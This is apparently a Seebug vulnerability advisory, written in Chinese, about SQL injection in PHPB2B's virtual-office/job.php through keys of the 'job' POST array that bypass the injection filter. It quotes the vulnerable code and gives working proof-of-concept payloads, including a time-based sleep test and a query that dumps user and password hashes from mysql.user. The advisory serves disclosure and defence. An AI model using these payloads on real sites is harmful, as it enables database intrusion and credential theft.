PHPB2B网站管理系统SQL注入漏洞(无视防注入)

2015-02-16T00:00:00
ID SSV:95140
Type seebug
Reporter Root
Modified 2015-02-16T00:00:00

Description

简要描述:

RT

详细说明:

注入链接:/virtual-office/job.php 注入参数:job 漏洞代码:(第52行开始) if (!empty($_POST['job']) && $_POST['save']) { $vals = $_POST['job']; pb_submit_check('job'); // 验证post提交的token,可直接使用get访问job.php后在网页源码中搜索formhash获取 $now_job_amount = $job->findCount(null, "created>".$today_start." AND member_id=".$the_memberid); if (isset($_POST['id'])) { $id = $_POST['id']; } if(!empty($_POST['expire_time'])) { $vals['expire_time'] = Times::dateConvert($_POST['expire_time']); } $check_job_update = $g['job_check']; if ($check_job_update=="0") { $vals['status'] = 1; $message_info = 'msg_wait_success'; }else { $vals['status'] = 0; $message_info = 'msg_wait_check'; } $vals['industry_id'] = PbController::getMultiId($_POST['industry']['id']); $vals['area_id'] = PbController::getMultiId($_POST['area']['id']); if(!empty($id)){ $vals['modified'] = $time_stamp; unset($vals['created']); $result = $job->save($vals, "update", $id, null, "member_id=".$the_memberid); $vals = $_POST['job'];从post中获取job数组参数,并将$vals数组传入save函数,save函数中通过以下以下代码构造SQL语句:(libraries/core/model.php) $keys = array_keys($posts); $cols = implode($keys,","); $tbname = (is_null($tbname))? $this->getTable():trim($tbname); $this->table_name = $tbname; if(!empty($id)){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'"; 在save函数中$vals数组的键名会被拆分为select语句的列名列表$cols,由于$vals可控导致sql注入,且是数组键名,因此可绕过代码中的注入检测

漏洞证明:

``` 漏洞测试: 首先直接访问:http://127.0.0.1/phpb2b/virtual-office/job.php查看网页源代码获取页面token <input type="hidden" name="formhash" value="8ab96122454d5f50" id="FormHash">

[&lt;img src="https://images.seebug.org/upload/201502/09110949ca4552ecb3b7536022523b2f60ae1def.png" alt="1.png" width="600" onerror="javascript:errimg(this);"&gt;](https://images.seebug.org/upload/201502/09110949ca4552ecb3b7536022523b2f60ae1def.png)

获取token后就可以进行SQL注入 http://127.0.0.1/phpb2b/virtual-office/job.php Post: job[if((length(user())>61),1,sleep(5))%23]=1&save=1&id=1&formhash=8ab96122454d5f50 为了方便调试,在代码里把执行的SQL语句打印出来

[&lt;img src="https://images.seebug.org/upload/201502/09110936eae8f7d94a4e694631b2d50273e4e61c.png" alt="2.png" width="600" onerror="javascript:errimg(this);"&gt;](https://images.seebug.org/upload/201502/09110936eae8f7d94a4e694631b2d50273e4e61c.png)

Mysql日志:

[&lt;img src="https://images.seebug.org/upload/201502/0911092864ddccf8bded520eab1462b57583fcd6.png" alt="3.png" width="600" onerror="javascript:errimg(this);"&gt;](https://images.seebug.org/upload/201502/0911092864ddccf8bded520eab1462b57583fcd6.png)

成功执行延时注入 可无视SQL注入检测,执行SQL语句 http://127.0.0.1/phpb2b/virtual-office/job.php Post: job[host,user,password//from//mysql.user//where//1>0//limit//0,1%23]=1&save=1&id=1&formhash=8ab96122454d5f50

[&lt;img src="https://images.seebug.org/upload/201502/0911091542e1bc9fcb3c879c20eb1f96d9fb5151.png" alt="4.png" width="600" onerror="javascript:errimg(this);"&gt;](https://images.seebug.org/upload/201502/0911091542e1bc9fcb3c879c20eb1f96d9fb5151.png)

Mysql日志:

[&lt;img src="https://images.seebug.org/upload/201502/091109050ba39795ae04fe0f1cf611bccd770d02.png" alt="5.png" width="600" onerror="javascript:errimg(this);"&gt;](https://images.seebug.org/upload/201502/091109050ba39795ae04fe0f1cf611bccd770d02.png)

```